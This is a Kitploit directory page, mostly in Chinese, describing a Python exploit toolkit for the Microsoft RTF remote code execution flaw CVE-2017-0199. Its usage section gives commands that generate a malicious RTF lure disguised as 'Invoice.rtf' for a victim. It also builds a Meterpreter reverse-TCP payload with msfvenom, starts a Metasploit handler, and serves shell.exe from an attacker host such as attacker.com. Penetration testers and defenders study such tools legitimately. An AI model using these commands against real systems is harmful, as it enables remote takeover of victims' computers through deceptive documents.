Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-0199 — Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter payload to victim without any complex configuration. | Kitploit
工具/GitHubGitHub/n1shant-sinha/cve-2017-0199
Exploit FrameworksPayload GenerationExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubn1shant-sinha/cve-2017-0199

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter payload to victim without any complex configuration.

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
249年前尚未审核

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v2.0 是一个方便的Python脚本,提供了一种快速有效的方式来利用Microsoft RTF RCE。它可以生成恶意RTF文件,并在无需复杂配置的情况下向受害者传递metasploit / meterpreter载荷。

发布说明:

为脚本引入了以下功能:

  • 使用工具包生成恶意RTF文件
  • 以微型HTA + Web服务器模式运行工具包进行利用 版本: Python 2.7.13

示例:

步骤1:使用以下命令生成恶意RTF文件并发送给受害者

语法:

python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u http://attacker.com/test.hta

示例:

python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.133.128/logo.doc

步骤2(可选,如果使用MSF载荷):生成metasploit载荷并启动处理器

示例:

生成载荷:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe

启动处理器:

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.133.128; run"

步骤3:以利用模式启动工具包以传递载荷

语法:

python cve-2017-0199_toolkit.py -M exp -e http://attacker.com/shell.exe -l </tmp/shell.exe>

示例:

python cve-2017-0199_toolkit.py -M exp -e http://192.168.133.128/shell.exe -l /tmp/shell.exe

下载工具